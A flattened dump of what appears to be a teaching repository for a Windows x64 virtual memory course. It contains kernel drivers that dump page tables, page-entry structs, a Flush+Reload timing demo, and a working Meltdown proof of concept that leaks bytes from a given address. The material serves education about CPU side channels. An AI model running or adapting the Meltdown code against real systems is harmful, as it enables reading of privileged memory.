DbgPrint("['%03d','" 93 | " Value=0x%016I64X\\n" 94 | " R/W=%I64d\\n" 95 | " PS=%I64d\\n" 96 | " PPN=0x%016I64X\\n" 97 | "L4pt.Pa=0x%016I64X'," 98 | , n3 99 | , L3pt[n3].Value 100 | , L3pt[n3].Fields.R_W 101 | , L3pt[n3].Fields.PS 102 | , L3pt[n3].Fields.PPN 103 | , L4ptPa.Value 104 | ); 105 | PL4PTE L4pt = MmGetVirtualForPhysical(L4ptPa.AsLargeInteger); 106 | DbgPrint("{title:'L1pt[%03d].L2pt[%03d].L3pt[%03d].L4pt',items:[", n1, n2, n3); 107 | for (int n4 = 0; n4 < 512; n4++) 108 | { 109 | if (!L4pt[n4].Fields.P || !L4pt[n4].Fields.U_S) continue; 110 | PA Pa = { .Fields4KB.PPN = L4pt[n4].Fields.PPN }; 111 | DbgPrint("['%03d','" 112 | "Value=0x%016I64X\\n" 113 | " R/W=%I64d\\n" 114 | " PPN=0x%016I64X\\n" 115 | " Pa=0x%016I64X']," 116 | , n4 117 | , L4pt[n4].Value 118 | , L4pt[n4].Fields.R_W 119 | , L4pt[n4].Fields.PPN 120 | , Pa.Value 121 | ); 122 | } 123 | DbgPrint("]}],"); 124 | } 125 | DbgPrint("]}],"); 126 | } 127 | DbgPrint("]}],"); 128 | } 129 | DbgPrint("]}]]}\n"); 130 | } 131 | 132 | VOID 133 | DumpUserPageTable(PEPROCESS Process) 134 | { 135 | if (PsGetCurrentProcess() == Process) 136 | { 137 | DumpCurrentProcessUserPageTable(); 138 | return; 139 | } 140 | 141 | KAPC_STATE ApcState; 142 | KeStackAttachProcess(Process, &ApcState); 143 | DumpCurrentProcessUserPageTable(); 144 | KeUnstackDetachProcess(&ApcState); 145 | } 146 | -------------------------------------------------------------------------------- /10.01.SelfMapping/x64.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | #include 3 | #include 4 | 5 | typedef union _CR3 6 | { 7 | UINT64 Value; 8 | struct 9 | { 10 | UINT64 Ignored1 : 3; 11 | UINT64 PWT : 1; 12 | UINT64 PCD : 1; 13 | UINT64 Ignored2 : 7; 14 | UINT64 PPN : 40; 15 | UINT64 Reserved1 : 12; 16 | } Fields; 17 | } CR3, * PCR3; 18 | static_assert(sizeof(CR3) == 8, "sizeof CR3"); 19 | 20 | typedef union _PA 21 | { 22 | UINT64 Value; 23 | LARGE_INTEGER AsLargeInteger; 24 | struct 25 | { 26 | UINT64 PPO : 12; 27 | UINT64 PPN : 40; 28 | UINT64 Reserved1 : 12; 29 | } Fields4KB; 30 | struct 31 | { 32 | UINT64 PPO : 21; 33 | UINT64 PPN : 31; 34 | UINT64 Reserved1 : 12; 35 | } Fields2MB; 36 | struct 37 | { 38 | UINT64 PPO : 30; 39 | UINT64 PPN : 22; 40 | UINT64 Reserved1 : 12; 41 | } Fields1GB; 42 | } PA, * PPA; 43 | 44 | typedef union _L1PTE 45 | { 46 | UINT64 Value; 47 | struct 48 | { 49 | UINT64 P : 1; 50 | UINT64 R_W : 1; 51 | UINT64 U_S : 1; 52 | UINT64 PWT : 1; 53 | UINT64 PCD : 1; 54 | UINT64 A : 1; 55 | UINT64 Ingored1 : 1; 56 | UINT64 Reserved1 : 1; 57 | UINT64 Ignored2 : 3; 58 | UINT64 R : 1; 59 | UINT64 PPN : 40; 60 | UINT64 Ignored3 : 11; 61 | UINT64 XD : 1; 62 | } Fields; 63 | } L1PTE, * PL1PTE; 64 | static_assert(sizeof(L1PTE) == 8, "sizeof L1PTE"); 65 | 66 | typedef union _L2PTE 67 | { 68 | UINT64 Value; 69 | struct 70 | { 71 | UINT64 P : 1; 72 | UINT64 R_W : 1; 73 | UINT64 U_S : 1; 74 | UINT64 PWT : 1; 75 | UINT64 PCD : 1; 76 | UINT64 A : 1; 77 | UINT64 D : 1; 78 | UINT64 PS : 1; 79 | UINT64 G : 1; 80 | UINT64 Ignored1 : 2; 81 | UINT64 R : 1; 82 | UINT64 PAT : 1; 83 | UINT64 Reserved1 : 17; 84 | UINT64 PPN : 22; 85 | UINT64 Ignored2 : 7; 86 | UINT64 ProtKey : 4; 87 | UINT64 XD : 1; 88 | } Fields1GB; 89 | struct 90 | { 91 | UINT64 P : 1; 92 | UINT64 R_W : 1; 93 | UINT64 U_S : 1; 94 | UINT64 PWT : 1; 95 | UINT64 PCD : 1; 96 | UINT64 A : 1; 97 | UINT64 Ignored1 : 1; 98 | UINT64 PS : 1; 99 | UINT64 Ignored2 : 3; 100 | UINT64 R : 1; 101 | UINT64 PPN : 40; 102 | UINT64 Ignored3 : 11; 103 | UINT64 XD : 1; 104 | } Fields; 105 | } L2PTE, * PL2PTE; 106 | static_assert(sizeof(L2PTE) == 8, "sizeof L2PTE"); 107 | 108 | typedef union _L3PTE 109 | { 110 | UINT64 Value; 111 | struct 112 | { 113 | UINT64 P : 1; 114 | UINT64 R_W : 1; 115 | UINT64 U_S : 1; 116 | UINT64 PWT : 1; 117 | UINT64 PCD : 1; 118 | UINT64 A : 1; 119 | UINT64 D : 1; 120 | UINT64 PS : 1; 121 | UINT64 G : 1; 122 | UINT64 Ignored1 : 2; 123 | UINT64 R : 1; 124 | UINT64 PAT : 1; 125 | UINT64 Reserved1 : 8; 126 | UINT64 PPN : 31; 127 | UINT64 Ignored2 : 7; 128 | UINT64 ProtKey : 4; 129 | UINT64 XD : 1; 130 | } Fields2MB; 131 | struct 132 | { 133 | UINT64 P : 1; 134 | UINT64 R_W : 1; 135 | UINT64 U_S : 1; 136 | UINT64 PWT : 1; 137 | UINT64 PCD : 1; 138 | UINT64 A : 1; 139 | UINT64 Ingored1 : 1; 140 | UINT64 PS : 1; 141 | UINT64 Ignored2 : 3; 142 | UINT64 R : 1; 143 | UINT64 PPN : 40; 144 | UINT64 Ignored3 : 11; 145 | UINT64 XD : 1; 146 | } Fields; 147 | } L3PTE, * PL3PTE; 148 | static_assert(sizeof(L3PTE) == 8, "sizeof L3PTE"); 149 | 150 | typedef union _L4PTE 151 | { 152 | UINT64 Value; 153 | struct 154 | { 155 | UINT64 P : 1; 156 | UINT64 R_W : 1; 157 | UINT64 U_S : 1; 158 | UINT64 PWT : 1; 159 | UINT64 PCD : 1; 160 | UINT64 A : 1; 161 | UINT64 D : 1; 162 | UINT64 PAT : 1; 163 | UINT64 G : 1; 164 | UINT64 Ignored1 : 2; 165 | UINT64 R : 1; 166 | UINT64 PPN : 40; 167 | UINT64 Ignored2 : 7; 168 | UINT64 ProtKey : 4; 169 | UINT64 XD : 1; 170 | } Fields; 171 | } L4PTE, * PL4PTE; 172 | static_assert(sizeof(L4PTE) == 8, "sizeof L4PTE"); 173 | 174 | typedef union _VA 175 | { 176 | UINT64 Value; 177 | struct 178 | { 179 | UINT64 VPO : 12; 180 | UINT64 VPN4 : 9; 181 | UINT64 VPN3 : 9; 182 | UINT64 VPN2 : 9; 183 | UINT64 VPN1 : 9; 184 | UINT64 SEXT : 16; 185 | } Fields4KB; 186 | struct 187 | { 188 | UINT64 VPO : 21; 189 | UINT64 VPN3 : 9; 190 | UINT64 VPN2 : 9; 191 | UINT64 VPN1 : 9; 192 | UINT64 SEXT : 16; 193 | } Fields2MB; 194 | struct 195 | { 196 | UINT64 VPO : 30; 197 | UINT64 VPN2 : 9; 198 | UINT64 VPN1 : 9; 199 | UINT64 SEXT : 16; 200 | } Fields1GB; 201 | struct 202 | { 203 | UINT64 Ignored1 : 12; 204 | UINT64 VPN4 : 9; 205 | UINT64 VPN3 : 9; 206 | UINT64 VPN2 : 9; 207 | UINT64 VPN1 : 9; 208 | UINT64 SEXT : 16; 209 | } Fields; 210 | } VA, * PVA; 211 | static_assert(sizeof(VA) == 8, "sizeof VA"); 212 | 213 | VOID 214 | DumpUserPageTable(PEPROCESS Process); 215 | -------------------------------------------------------------------------------- /11.01.Flush+Reload/11.01.Flush+Reload.vcxproj.filters: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | {4FC737F1-C7A5-4376-A066-2A32D752A2FF} 6 | cpp;c;cc;cxx;c++;cppm;ixx;def;odl;idl;hpj;bat;asm;asmx 7 | 8 | 9 | {93995380-89BD-4b04-88EB-625FBE52EBFB} 10 | h;hh;hpp;hxx;h++;hm;inl;inc;ipp;xsd 11 | 12 | 13 | {67DA6AB6-F800-4c08-8B7A-83BB121AAD01} 14 | rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms 15 | 16 | 17 | 18 | 19 | 源文件 20 | 21 | 22 | -------------------------------------------------------------------------------- /11.01.Flush+Reload/main.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | 6 | uint8_t probe_array[256][4096]; 7 | uint64_t access_time[256]; 8 | 9 | int 10 | main() 11 | { 12 | uint8_t secret = 42; 13 | uint8_t* p = &secret; 14 | 15 | for (size_t i = 0; i < 256; i++) 16 | _mm_clflush(&probe_array[i]); 17 | 18 | __try 19 | { 20 | *(uint32_t*)NULL = 0; 21 | probe_array[*p][0]++; 22 | } 23 | __except (EXCEPTION_EXECUTE_HANDLER) {} 24 | 25 | for (size_t i = 0; i < 256; i++) 26 | { 27 | uint32_t aux; 28 | uint64_t a = __rdtscp(&aux); 29 | probe_array[i][0]++; 30 | uint64_t b = __rdtscp(&aux); 31 | access_time[i] = b - a; 32 | } 33 | 34 | for (size_t i = 0; i < 256; i++) 35 | printf("%llu,", access_time[i]); 36 | } 37 | -------------------------------------------------------------------------------- /11.02.Secret/11.02.Secret.vcxproj.filters: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | {4FC737F1-C7A5-4376-A066-2A32D752A2FF} 6 | cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx 7 | 8 | 9 | {93995380-89BD-4b04-88EB-625FBE52EBFB} 10 | h;hpp;hxx;hm;inl;inc;xsd 11 | 12 | 13 | {67DA6AB6-F800-4c08-8B7A-83BB121AAD01} 14 | rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms 15 | 16 | 17 | {8E41214B-6785-4CFE-B992-037D68949A14} 18 | inf;inv;inx;mof;mc; 19 | 20 | 21 | 22 | 23 | Driver Files 24 | 25 | 26 | 27 | 28 | Source Files 29 | 30 | 31 | Source Files 32 | 33 | 34 | 35 | 36 | Header Files 37 | 38 | 39 | Header Files 40 | 41 | 42 | Header Files 43 | 44 | 45 | -------------------------------------------------------------------------------- /11.02.Secret/VmDriverTemplateV1.inf: -------------------------------------------------------------------------------- 1 | ; 2 | ; _11_02_Secret.inf 3 | ; 4 | 5 | [Version] 6 | Signature="$WINDOWS NT$" 7 | Class=System ; TODO: specify appropriate Class 8 | ClassGuid={4d36e97d-e325-11ce-bfc1-08002be10318} ; TODO: specify appropriate ClassGuid 9 | Provider=%ManufacturerName% 10 | CatalogFile=_11_02_Secret.cat 11 | DriverVer= ; TODO: set DriverVer in stampinf property pages 12 | PnpLockdown=1 13 | 14 | [DestinationDirs] 15 | DefaultDestDir = 12 16 | _11_02_Secret_Device_CoInstaller_CopyFiles = 11 17 | 18 | [SourceDisksNames] 19 | 1 = %DiskName%,,,"" 20 | 21 | [SourceDisksFiles] 22 | 11.02.Secret.sys = 1,, 23 | WdfCoInstaller$KMDFCOINSTALLERVERSION$.dll=1 ; make sure the number matches with SourceDisksNames 24 | 25 | ;***************************************** 26 | ; Install Section 27 | ;***************************************** 28 | 29 | [Manufacturer] 30 | %ManufacturerName%=Standard,NT$ARCH$ 31 | 32 | [Standard.NT$ARCH$] 33 | %_11_02_Secret.DeviceDesc%=_11_02_Secret_Device, Root\_11_02_Secret ; TODO: edit hw-id 34 | 35 | [_11_02_Secret_Device.NT] 36 | CopyFiles=Drivers_Dir 37 | 38 | [Drivers_Dir] 39 | 11.02.Secret.sys 40 | 41 | ;-------------- Service installation 42 | [_11_02_Secret_Device.NT.Services] 43 | AddService = _11_02_Secret,%SPSVCINST_ASSOCSERVICE%, _11_02_Secret_Service_Inst 44 | 45 | ; -------------- _11_02_Secret driver install sections 46 | [_11_02_Secret_Service_Inst] 47 | DisplayName = %_11_02_Secret.SVCDESC% 48 | ServiceType = 1 ; SERVICE_KERNEL_DRIVER 49 | StartType = 3 ; SERVICE_DEMAND_START 50 | ErrorControl = 1 ; SERVICE_ERROR_NORMAL 51 | ServiceBinary = %12%\_11_02_Secret.sys 52 | 53 | ; 54 | ;--- _11_02_Secret_Device Coinstaller installation ------ 55 | ; 56 | 57 | [_11_02_Secret_Device.NT.CoInstallers] 58 | AddReg=_11_02_Secret_Device_CoInstaller_AddReg 59 | CopyFiles=_11_02_Secret_Device_CoInstaller_CopyFiles 60 | 61 | [_11_02_Secret_Device_CoInstaller_AddReg] 62 | HKR,,CoInstallers32,0x00010000, "WdfCoInstaller$KMDFCOINSTALLERVERSION$.dll,WdfCoInstaller" 63 | 64 | [_11_02_Secret_Device_CoInstaller_CopyFiles] 65 | WdfCoInstaller$KMDFCOINSTALLERVERSION$.dll 66 | 67 | [_11_02_Secret_Device.NT.Wdf] 68 | KmdfService = _11_02_Secret, _11_02_Secret_wdfsect 69 | [_11_02_Secret_wdfsect] 70 | KmdfLibraryVersion = $KMDFVERSION$ 71 | 72 | [Strings] 73 | SPSVCINST_ASSOCSERVICE= 0x00000002 74 | ManufacturerName="" ;TODO: Replace with your manufacturer name 75 | DiskName = "_11_02_Secret Installation Disk" 76 | _11_02_Secret.DeviceDesc = "_11_02_Secret Device" 77 | _11_02_Secret.SVCDESC = "_11_02_Secret Service" 78 | -------------------------------------------------------------------------------- /11.02.Secret/main.c: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/dulong-lab/video-virtual-memory-materials/71ba5520e20b9e570879da9d9d1662c4af2bf904/11.02.Secret/main.c -------------------------------------------------------------------------------- /11.02.Secret/secret.h: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/dulong-lab/video-virtual-memory-materials/71ba5520e20b9e570879da9d9d1662c4af2bf904/11.02.Secret/secret.h -------------------------------------------------------------------------------- /11.02.Secret/win10.c: -------------------------------------------------------------------------------- 1 | #include "win10.h" 2 | -------------------------------------------------------------------------------- /11.02.Secret/win10.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | #include 3 | -------------------------------------------------------------------------------- /11.02.Secret/x64.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | #include 3 | -------------------------------------------------------------------------------- /11.03.Meltdown/11.03.Meltdown.vcxproj.filters: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | {4FC737F1-C7A5-4376-A066-2A32D752A2FF} 6 | cpp;c;cc;cxx;c++;cppm;ixx;def;odl;idl;hpj;bat;asm;asmx 7 | 8 | 9 | {93995380-89BD-4b04-88EB-625FBE52EBFB} 10 | h;hh;hpp;hxx;h++;hm;inl;inc;ipp;xsd 11 | 12 | 13 | {67DA6AB6-F800-4c08-8B7A-83BB121AAD01} 14 | rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms 15 | 16 | 17 | 18 | 19 | 源文件 20 | 21 | 22 | 23 | 24 | 源文件 25 | 26 | 27 | -------------------------------------------------------------------------------- /11.03.Meltdown/main.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | 8 | uint8_t probe_array[256][4096]; 9 | uint64_t access_time[256]; 10 | 11 | void OutOfOrderExecution(void* target, void* probe_array, void* null); 12 | 13 | uint8_t 14 | Steal(uint8_t* target) 15 | { 16 | for (size_t retries = 0; retries < 30000; retries++) 17 | { 18 | for (size_t i = 0; i < 256; i++) 19 | { 20 | _mm_clflush(&probe_array[i]); 21 | _mm_pause(); 22 | } 23 | 24 | __try 25 | { 26 | OutOfOrderExecution(target, probe_array, NULL); 27 | } 28 | __except (EXCEPTION_EXECUTE_HANDLER) {} 29 | 30 | for (size_t i = 0; i < 256; i++) 31 | { 32 | uint32_t aux = 0; 33 | uint64_t a = __rdtscp(&aux); 34 | probe_array[i][0]++; 35 | uint64_t b = __rdtscp(&aux); 36 | access_time[i] = b - a; 37 | } 38 | 39 | size_t idx_min = 0; 40 | for (size_t i = 0; i < 256; i++) 41 | { 42 | if (access_time[i] < access_time[idx_min]) idx_min = i; 43 | _mm_pause(); 44 | } 45 | 46 | if (access_time[idx_min] < 100 && idx_min != 0) 47 | { 48 | printf(" => %02X retries=%-5zd access_time=%llu\n" 49 | , (uint32_t)idx_min 50 | , retries 51 | , access_time[idx_min] 52 | ); 53 | return (uint8_t)idx_min; 54 | } 55 | 56 | _mm_pause(); 57 | } 58 | 59 | printf(" => 00\n"); 60 | return 0; 61 | } 62 | 63 | int 64 | main(int argc, char* argv[]) 65 | { 66 | if (argc < 2) 67 | { 68 | printf("USAGE: meltdown target\n"); 69 | return 1; 70 | } 71 | 72 | uint8_t* target = NULL; 73 | if (sscanf_s(argv[1], "%p", &target) != 1) 74 | { 75 | printf("USAGE: meltdown target\n"); 76 | return 1; 77 | } 78 | 79 | SetProcessAffinityMask(GetCurrentProcess(), 1); 80 | 81 | uint8_t buffer[32] = { 0 }; 82 | 83 | for (size_t i = 0; i < sizeof(buffer); i++) 84 | { 85 | printf("Steal#%-2zd", i); 86 | buffer[i] = Steal(target + i); 87 | } 88 | 89 | for (size_t i = 0; i < sizeof(buffer); i++) 90 | { 91 | printf("%02X", (uint32_t)buffer[i]); 92 | printf((i + 1) % 16 == 0 || i + 1 == sizeof(buffer) ? "\n" : " "); 93 | } 94 | 95 | setlocale(LC_CTYPE, ""); 96 | 97 | wchar_t* secret = (wchar_t*)buffer; 98 | for (size_t i = 0; i < sizeof(buffer) / sizeof(wchar_t); i++) 99 | putwchar(secret[i]); 100 | putchar('\n'); 101 | } 102 | -------------------------------------------------------------------------------- /11.03.Meltdown/meltdown.asm: -------------------------------------------------------------------------------- 1 | .CODE 2 | 3 | OutOfOrderExecution PROC 4 | mov r8, qword ptr [r8] 5 | movzx rax, byte ptr [rcx] 6 | shl rax, 12 7 | mov al, byte ptr [rdx + rax] 8 | ret 9 | OutOfOrderExecution ENDP 10 | 11 | END 12 | -------------------------------------------------------------------------------- /12.01.DumpL1pt/12.01.DumpL1pt.vcxproj.filters: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | {4FC737F1-C7A5-4376-A066-2A32D752A2FF} 6 | cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx 7 | 8 | 9 | {93995380-89BD-4b04-88EB-625FBE52EBFB} 10 | h;hpp;hxx;hm;inl;inc;xsd 11 | 12 | 13 | {67DA6AB6-F800-4c08-8B7A-83BB121AAD01} 14 | rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms 15 | 16 | 17 | {8E41214B-6785-4CFE-B992-037D68949A14} 18 | inf;inv;inx;mof;mc; 19 | 20 | 21 | 22 | 23 | Driver Files 24 | 25 | 26 | 27 | 28 | Source Files 29 | 30 | 31 | Source Files 32 | 33 | 34 | Source Files 35 | 36 | 37 | 38 | 39 | Header Files 40 | 41 | 42 | Header Files 43 | 44 | 45 | Header Files 46 | 47 | 48 | -------------------------------------------------------------------------------- /12.01.DumpL1pt/VmDriverTemplateV1.inf: -------------------------------------------------------------------------------- 1 | ; 2 | ; _12_01_DumpL1pt.inf 3 | ; 4 | 5 | [Version] 6 | Signature="$WINDOWS NT$" 7 | Class=System ; TODO: specify appropriate Class 8 | ClassGuid={4d36e97d-e325-11ce-bfc1-08002be10318} ; TODO: specify appropriate ClassGuid 9 | Provider=%ManufacturerName% 10 | CatalogFile=_12_01_DumpL1pt.cat 11 | DriverVer= ; TODO: set DriverVer in stampinf property pages 12 | PnpLockdown=1 13 | 14 | [DestinationDirs] 15 | DefaultDestDir = 12 16 | _12_01_DumpL1pt_Device_CoInstaller_CopyFiles = 11 17 | 18 | [SourceDisksNames] 19 | 1 = %DiskName%,,,"" 20 | 21 | [SourceDisksFiles] 22 | 12.01.DumpL1pt.sys = 1,, 23 | WdfCoInstaller$KMDFCOINSTALLERVERSION$.dll=1 ; make sure the number matches with SourceDisksNames 24 | 25 | ;***************************************** 26 | ; Install Section 27 | ;***************************************** 28 | 29 | [Manufacturer] 30 | %ManufacturerName%=Standard,NT$ARCH$ 31 | 32 | [Standard.NT$ARCH$] 33 | %_12_01_DumpL1pt.DeviceDesc%=_12_01_DumpL1pt_Device, Root\_12_01_DumpL1pt ; TODO: edit hw-id 34 | 35 | [_12_01_DumpL1pt_Device.NT] 36 | CopyFiles=Drivers_Dir 37 | 38 | [Drivers_Dir] 39 | 12.01.DumpL1pt.sys 40 | 41 | ;-------------- Service installation 42 | [_12_01_DumpL1pt_Device.NT.Services] 43 | AddService = _12_01_DumpL1pt,%SPSVCINST_ASSOCSERVICE%, _12_01_DumpL1pt_Service_Inst 44 | 45 | ; -------------- _12_01_DumpL1pt driver install sections 46 | [_12_01_DumpL1pt_Service_Inst] 47 | DisplayName = %_12_01_DumpL1pt.SVCDESC% 48 | ServiceType = 1 ; SERVICE_KERNEL_DRIVER 49 | StartType = 3 ; SERVICE_DEMAND_START 50 | ErrorControl = 1 ; SERVICE_ERROR_NORMAL 51 | ServiceBinary = %12%\_12_01_DumpL1pt.sys 52 | 53 | ; 54 | ;--- _12_01_DumpL1pt_Device Coinstaller installation ------ 55 | ; 56 | 57 | [_12_01_DumpL1pt_Device.NT.CoInstallers] 58 | AddReg=_12_01_DumpL1pt_Device_CoInstaller_AddReg 59 | CopyFiles=_12_01_DumpL1pt_Device_CoInstaller_CopyFiles 60 | 61 | [_12_01_DumpL1pt_Device_CoInstaller_AddReg] 62 | HKR,,CoInstallers32,0x00010000, "WdfCoInstaller$KMDFCOINSTALLERVERSION$.dll,WdfCoInstaller" 63 | 64 | [_12_01_DumpL1pt_Device_CoInstaller_CopyFiles] 65 | WdfCoInstaller$KMDFCOINSTALLERVERSION$.dll 66 | 67 | [_12_01_DumpL1pt_Device.NT.Wdf] 68 | KmdfService = _12_01_DumpL1pt, _12_01_DumpL1pt_wdfsect 69 | [_12_01_DumpL1pt_wdfsect] 70 | KmdfLibraryVersion = $KMDFVERSION$ 71 | 72 | [Strings] 73 | SPSVCINST_ASSOCSERVICE= 0x00000002 74 | ManufacturerName="" ;TODO: Replace with your manufacturer name 75 | DiskName = "_12_01_DumpL1pt Installation Disk" 76 | _12_01_DumpL1pt.DeviceDesc = "_12_01_DumpL1pt Device" 77 | _12_01_DumpL1pt.SVCDESC = "_12_01_DumpL1pt Service" 78 | -------------------------------------------------------------------------------- /12.01.DumpL1pt/common.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | #include 3 | #include 4 | 5 | #define EXIT_IF_FAILED(Status, ...) do\ 6 | {\ 7 | if (!NT_SUCCESS(Status))\ 8 | {\ 9 | __VA_ARGS__\ 10 | goto Exit;\ 11 | }\ 12 | } while(false) 13 | -------------------------------------------------------------------------------- /12.01.DumpL1pt/main.c: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/dulong-lab/video-virtual-memory-materials/71ba5520e20b9e570879da9d9d1662c4af2bf904/12.01.DumpL1pt/main.c -------------------------------------------------------------------------------- /12.01.DumpL1pt/win10.c: -------------------------------------------------------------------------------- 1 | #include "win10.h" 2 | 3 | NTSTATUS 4 | QuerySystemInformation(SYSTEM_INFORMATION_CLASS SystemInformationClass, PVOID* SystemInformation) 5 | { 6 | NTSTATUS Status; 7 | PVOID Buffer; 8 | ULONG BufferSize = 4096; 9 | 10 | do 11 | { 12 | Buffer = ExAllocatePool2(POOL_FLAG_NON_PAGED, BufferSize, 'bisQ'); 13 | if (!Buffer) return STATUS_NO_MEMORY; 14 | 15 | Status = NtQuerySystemInformation(SystemInformationClass, Buffer, BufferSize, &BufferSize); 16 | if (NT_SUCCESS(Status)) { 17 | *SystemInformation = Buffer; 18 | return Status; 19 | } 20 | 21 | ExFreePool(Buffer); 22 | if (STATUS_INFO_LENGTH_MISMATCH != Status) return Status; 23 | } while (TRUE); 24 | } 25 | 26 | NTSTATUS 27 | LookUpProcessByImageName(PCWSTR ImageName, PEPROCESS* Process) 28 | { 29 | NTSTATUS Status; 30 | PSYSTEM_PROCESS_INFORMATION ProcessInformationArray = NULL; 31 | 32 | Status = QuerySystemInformation(SystemProcessInformation, &ProcessInformationArray); 33 | if (!NT_SUCCESS(Status)) return Status; 34 | 35 | PSYSTEM_PROCESS_INFORMATION CurrentInformation = ProcessInformationArray; 36 | UNICODE_STRING ImageNameUnicodeString; 37 | RtlInitUnicodeString(&ImageNameUnicodeString, ImageName); 38 | 39 | while (TRUE) 40 | { 41 | if (RtlCompareUnicodeString(&CurrentInformation->ImageName, &ImageNameUnicodeString, FALSE) == 0) 42 | { 43 | Status = PsLookupProcessByProcessId(CurrentInformation->UniqueProcessId, Process); 44 | ExFreePool(ProcessInformationArray); 45 | return Status; 46 | } 47 | 48 | if (CurrentInformation->NextEntryOffset == 0) 49 | { 50 | ExFreePool(ProcessInformationArray); 51 | return STATUS_NOT_FOUND; 52 | } 53 | 54 | CurrentInformation = (PSYSTEM_PROCESS_INFORMATION)((PUCHAR)CurrentInformation + CurrentInformation->NextEntryOffset); 55 | } 56 | } 57 | 58 | NTSTATUS 59 | GetProcessDirectoryTableBase(PEPROCESS Process, CR3* DirectoryTableBase) 60 | { 61 | RTL_OSVERSIONINFOW Version = { .dwOSVersionInfoSize = sizeof(RTL_OSVERSIONINFOW) }; 62 | RtlGetVersion(&Version); 63 | 64 | UINT64 Offset; 65 | if (Version.dwMajorVersion == 10 && Version.dwMinorVersion == 0 && Version.dwBuildNumber == 19044) Offset = 0x028; 66 | else if (Version.dwMajorVersion == 10 && Version.dwMinorVersion == 0 && Version.dwBuildNumber == 19045) Offset = 0x028; 67 | else return STATUS_NOT_SUPPORTED; 68 | 69 | *DirectoryTableBase = *(CR3*)((UINT64)Process + Offset); 70 | return STATUS_SUCCESS; 71 | } 72 | 73 | NTSTATUS 74 | GetProcessUserDirectoryTableBase(PEPROCESS Process, CR3* UserDirectoryTableBase) 75 | { 76 | RTL_OSVERSIONINFOW Version = { .dwOSVersionInfoSize = sizeof(RTL_OSVERSIONINFOW) }; 77 | RtlGetVersion(&Version); 78 | 79 | UINT64 Offset; 80 | if (Version.dwMajorVersion == 10 && Version.dwMinorVersion == 0 && Version.dwBuildNumber == 19044) Offset = 0x388; 81 | else if (Version.dwMajorVersion == 10 && Version.dwMinorVersion == 0 && Version.dwBuildNumber == 19045) Offset = 0x388; 82 | else return STATUS_NOT_SUPPORTED; 83 | 84 | *UserDirectoryTableBase = *(CR3*)((UINT64)Process + Offset); 85 | return STATUS_SUCCESS; 86 | } 87 | -------------------------------------------------------------------------------- /12.01.DumpL1pt/win10.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | #include 3 | #include "x64.h" 4 | 5 | // winternl.h 6 | typedef enum _SYSTEM_INFORMATION_CLASS { 7 | SystemBasicInformation = 0, 8 | SystemPerformanceInformation = 2, 9 | SystemTimeOfDayInformation = 3, 10 | SystemProcessInformation = 5, 11 | SystemProcessorPerformanceInformation = 8, 12 | SystemInterruptInformation = 23, 13 | SystemExceptionInformation = 33, 14 | SystemRegistryQuotaInformation = 37, 15 | SystemLookasideInformation = 45, 16 | SystemCodeIntegrityInformation = 103, 17 | SystemPolicyInformation = 134, 18 | } SYSTEM_INFORMATION_CLASS; 19 | 20 | // winternl.h 21 | typedef struct _SYSTEM_PROCESS_INFORMATION { 22 | ULONG NextEntryOffset; 23 | ULONG NumberOfThreads; 24 | UCHAR Reserved1[48]; 25 | UNICODE_STRING ImageName; 26 | KPRIORITY BasePriority; 27 | HANDLE UniqueProcessId; 28 | PVOID Reserved2; 29 | ULONG HandleCount; 30 | ULONG SessionId; 31 | PVOID Reserved3; 32 | SIZE_T PeakVirtualSize; 33 | SIZE_T VirtualSize; 34 | ULONG Reserved4; 35 | SIZE_T PeakWorkingSetSize; 36 | SIZE_T WorkingSetSize; 37 | PVOID Reserved5; 38 | SIZE_T QuotaPagedPoolUsage; 39 | PVOID Reserved6; 40 | SIZE_T QuotaNonPagedPoolUsage; 41 | SIZE_T PagefileUsage; 42 | SIZE_T PeakPagefileUsage; 43 | SIZE_T PrivatePageCount; 44 | LARGE_INTEGER Reserved7[6]; 45 | } SYSTEM_PROCESS_INFORMATION, * PSYSTEM_PROCESS_INFORMATION; 46 | 47 | // winternl.h 48 | // https://docs.microsoft.com/en-us/windows/win32/api/winternl/nf-winternl-ntquerysysteminformation 49 | NTKERNELAPI 50 | NTSTATUS 51 | NtQuerySystemInformation( 52 | SYSTEM_INFORMATION_CLASS SystemInformationClass, 53 | PVOID SystemInformation, 54 | ULONG SystemInformationLength, 55 | PULONG ReturnLength 56 | ); 57 | 58 | NTSTATUS 59 | QuerySystemInformation(SYSTEM_INFORMATION_CLASS SystemInformationClass, PVOID* SystemInformation); 60 | 61 | NTSTATUS 62 | LookUpProcessByImageName(PCWSTR ImageName, PEPROCESS* Process); 63 | 64 | NTSTATUS 65 | GetProcessDirectoryTableBase(PEPROCESS Process, CR3* DirectoryTableBase); 66 | 67 | NTSTATUS 68 | GetProcessUserDirectoryTableBase(PEPROCESS Process, CR3* UserDirectoryTableBase); 69 | -------------------------------------------------------------------------------- /12.01.DumpL1pt/x64.c: -------------------------------------------------------------------------------- 1 | #include "x64.h" 2 | 3 | VOID 4 | CanonicalizeVa1(VA* Va) 5 | { 6 | if (Va->Fields.VPN1 >= 256) 7 | Va->Fields.SEXT = 0xFFFF; 8 | else 9 | Va->Fields.SEXT = 0; 10 | } 11 | 12 | 